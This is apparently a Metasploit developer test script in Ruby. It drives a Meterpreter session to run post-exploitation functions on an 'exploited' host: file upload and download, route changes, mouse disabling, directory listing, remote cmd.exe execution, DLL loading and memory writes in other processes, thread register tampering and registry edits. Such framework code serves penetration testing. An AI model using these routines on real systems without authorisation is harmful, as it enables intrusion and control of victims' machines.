362 lines
6.7 KiB
Ruby
362 lines
6.7 KiB
Ruby
#!/usr/bin/env ruby -I../../lib
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require 'Rex/Post'
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netconf = false
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ui = false
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net = false
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fseek = false
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dir = false
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process = true
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registry = false
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copy = false
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sock = TCPSocket.new('127.0.0.1', 12345)
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client = Rex::Post::Meterpreter::Client.new(sock)
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client.core.use(
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'Stdapi')
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puts "Client interface:"
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client.dump_extension_tree.each { |x|
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puts "\t#{x}"
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}
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puts "\n\n"
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if (net)
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s = client.net.create_channel(
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'PeerHost' => '128.242.160.3',
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'PeerPort' => '80',
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'Proto' => 'tcp')
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puts "writing 'GET / HTTP/1.0'..."
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s.write("GET / HTTP/1.0\r\n\r\n")
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puts "reading in 20 bytes from the socket:\n#{s.read(20)}"
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s.close
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end
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if (copy)
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puts "Uploading...\n"
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client.fs.file.upload("c:\\personal\\temp\\mirror", "/bin/cat", "/tmp/dog")
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puts "Downloading...\n"
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client.fs.file.download("/tmp/test", "c:\\personal\\temp\\ati3duag.dll",
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"c:\\personal\\temp\\blah.asm", "c:\\personal\\temp\\boa.tar.gz")
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end
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if (netconf)
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puts "Routes:\n\n"
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client.net.config.each_route { |route|
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puts route.pretty
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}
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puts "\n\nInterfaces:\n\n"
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client.net.config.each_interface { |interface|
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puts interface.pretty
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}
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client.net.config.add_route('1.2.3.4', '255.255.255.255', '127.0.0.1')
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puts "after adding 1.2.3.4 route\n\n"
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client.net.config.each_route { |route|
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puts route.pretty
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}
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client.net.config.remove_route('1.2.3.4', '255.255.255.255', '127.0.0.1')
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puts "after removing 1.2.3.4 route\n\n"
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client.net.config.each_route { |route|
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puts route.pretty
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}
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end
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if (ui)
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input = false
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puts "idle time: #{client.ui.idle_time}"
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sleep 60
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puts "idle time: #{client.ui.idle_time}"
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if (input)
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puts "disabling"
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# client.ui.disable_keyboard
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client.ui.disable_mouse
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sleep 60
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puts "enabling"
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# client.ui.enable_keyboard
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client.ui.enable_mouse
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puts "done"
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end
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end
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if (fseek)
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f = client.fs.file.new("c:\\personal\\temp\\hm.c")
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puts "current position: #{f.tell}"
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puts "some text:\n#{f.read}"
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puts "current position: #{f.tell}"
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f.seek(0, IO::SEEK_SET)
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puts "current position: #{f.tell}"
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puts "some text again:\n#{f.read}"
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f.seek(40, IO::SEEK_SET)
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puts "eof? #{f.eof}"
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puts "current position: #{f.tell}"
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puts "some text again:\n#{f.read}"
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begin
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puts "some text again:\n#{f.read}"
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puts "some text again:\n#{f.read}"
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rescue EOFError
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puts "got eof"
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rescue
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puts "got other"
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end
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puts "eof? #{f.eof}"
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end
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if (dir)
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puts "Testing dir...\n\n"
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puts "%WINDIR% is #{client.fs.file.expand_path('%WINDIR%')}"
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puts "Getting contents of C:\\"
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client.fs.dir.foreach("C:\\") { |name|
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puts "\t#{name}\n"
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}
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puts "working directory: #{client.fs.dir.pwd}"
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client.fs.dir.chdir("..")
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puts "working directory: #{client.fs.dir.getwd}"
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client.fs.dir.chdir("c:\\windows")
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puts "working directory: #{client.fs.dir.pwd}"
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client.fs.dir.mkdir("c:\\personal\\temp\\tester")
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client.fs.dir.unlink("c:\\personal\\temp\\tester")
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s = client.fs.filestat.new("C:\\Windows\\notepad.exe")
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puts s.pretty
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puts client.fs.file.stat("C:\\windows\\notepad.exe").mtime
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# open a file and read in some text
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f = client.fs.file.new("C:\\personal\\temp\\hm.c")
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puts "some text:\n #{f.read}"
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f.close
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end
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if (process)
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puts "Testing process...\n\n"
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puts "exploited pid is #{client.sys.process.getpid}"
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puts "exploited name is #{client.sys.process.open.name}"
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puts "exploited path is #{client.sys.process.open.path}"
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##
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#
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# enumeration testing
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#
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##
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debug_pid = client.sys.process['calc.exe']
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puts "pid of calc.exe is #{debug_pid}"
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#client.sys.process.kill(debug_pid)
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##
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#
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# Load a library in another process
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#
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##
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p = client.sys.process.open(debug_pid)
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base = p.image.load('zipfldr.dll')
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printf "loaded zipfldr.dll into #{p.pid} at %.8x\n", base
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addr = p.image.get_procedure_address('zipfldr.dll', 'RouteTheCall')
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printf "addr of RouteTheCall is: %.8x\n", addr
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p.image.unload(base)
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puts "unloaded it"
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##
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#
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# Execution
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#
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##
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p = client.sys.process.execute("cmd.exe", nil,
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{
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'Channelized' => true
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})
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d = p.io.read
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puts "read from cmd.exe:\n#{d}"
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p.io.write("dir\n")
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d = p.io.read
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puts "read from cmd.exe:\n#{d}"
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##
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#
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# threads
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#
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##
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p = client.sys.process.open(debug_pid)
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p.thread.each_thread { |id|
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puts "thread id: #{id}"
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thread = p.thread.open(id)
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puts "suspending..."
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thread.suspend
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puts "registers:\n"
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puts thread.pretty_regs
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thread.set_regs(
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'eax' => 0x41414141,
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'ebx' => 0xdeadbeef)
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puts thread.pretty_regs
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puts "resuming..."
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thread.resume
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puts "closing..."
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thread.close
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}
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##
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#
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# code injection
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#
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##
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#buf = p.memory.allocate(400)
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#p.memory.write(buf, "\xcc")
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#p.thread.create(buf)
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#p.close
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##
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#
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# image testing
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#
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##
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exp = client.sys.process.open
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addr = exp.image.load('wininet.dll')
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printf "wininet.dll is loaded at: %.8x\n", addr
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exp.image.unload(addr)
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printf "LoadLibraryA is at: %.8x\n", exp.image.get_procedure_address('kernel32.dll', 'LoadLibraryA')
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printf "ntdll.dll base is at: %.8x\n", exp.image['ntdll.dll']
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##
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#
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# memory testing
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#
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##
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p = client.sys.process.open(debug_pid, PROCESS_ALL)
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addr = p.memory.allocate(400, PROT_WRITE | PROT_READ)
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printf "allocated memory at %.8x\n", addr
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p.memory.write(addr, 'this is a test yo')
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data = p.memory.read(addr, 10)
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printf "read memory from %.8x (#{data.length}): #{data.to_s}\n", addr
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info = p.memory.query(addr)
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printf "addr: %.8x (size=%d, prot=%.8x)\n", addr, info['RegionSize'], info['Protect']
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if (p.memory.writable?(addr))
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puts "memory is writable like it should be\n"
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end
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p.memory.protect(addr, info['RegionSize'], PROT_READ)
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if (!p.memory.writable?(addr))
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puts "memory is NOT writable like it should be\n"
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else
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puts "memory is writable but it should not be\n"
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end
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begin
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p.memory.write(addr, 'test again')
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rescue
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puts "caught exception like expected during write #{$!}"
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end
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p.close
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# attach to the exploited process
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exp = client.sys.process.open
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addr = exp.memory.allocate(400, PROT_WRITE)
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exp.memory.lock(addr, 4096)
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exp.memory.unlock(addr, 4096)
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exp.close
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end
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if (registry)
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puts "Testing registry...\n\n"
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regkey = client.sys.registry.open_key(HKEY_CURRENT_USER,
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'Software', KEY_ALL_ACCESS)
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puts "hkey is #{regkey.hkey}"
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regkey.set_value('test123', REG_SZ, 'yo what up')
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regkey.set_value('testdword', REG_DWORD, '666')
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val = regkey.query_value('test123')
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val2 = regkey.query_value('testdword')
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puts "value name: #{val.name} type: #{val.type} data: '#{val.data}'"
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puts "value name: #{val2.name} type: #{val2.type} data: '#{val2.data}'"
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val.set('ho ho ho')
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val.delete
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regkey.enum_key.each { |key|
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puts "child key: #{key}"
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}
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regkey.enum_value.each { |value|
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puts "child value: #{value.name}"
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}
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k = regkey.create_key('TestKey')
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k.close
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regkey.delete_key('TestKey')
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regkey.close
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end
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while (true)
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printf("sup\n")
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select nil, nil, nil, 4
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end
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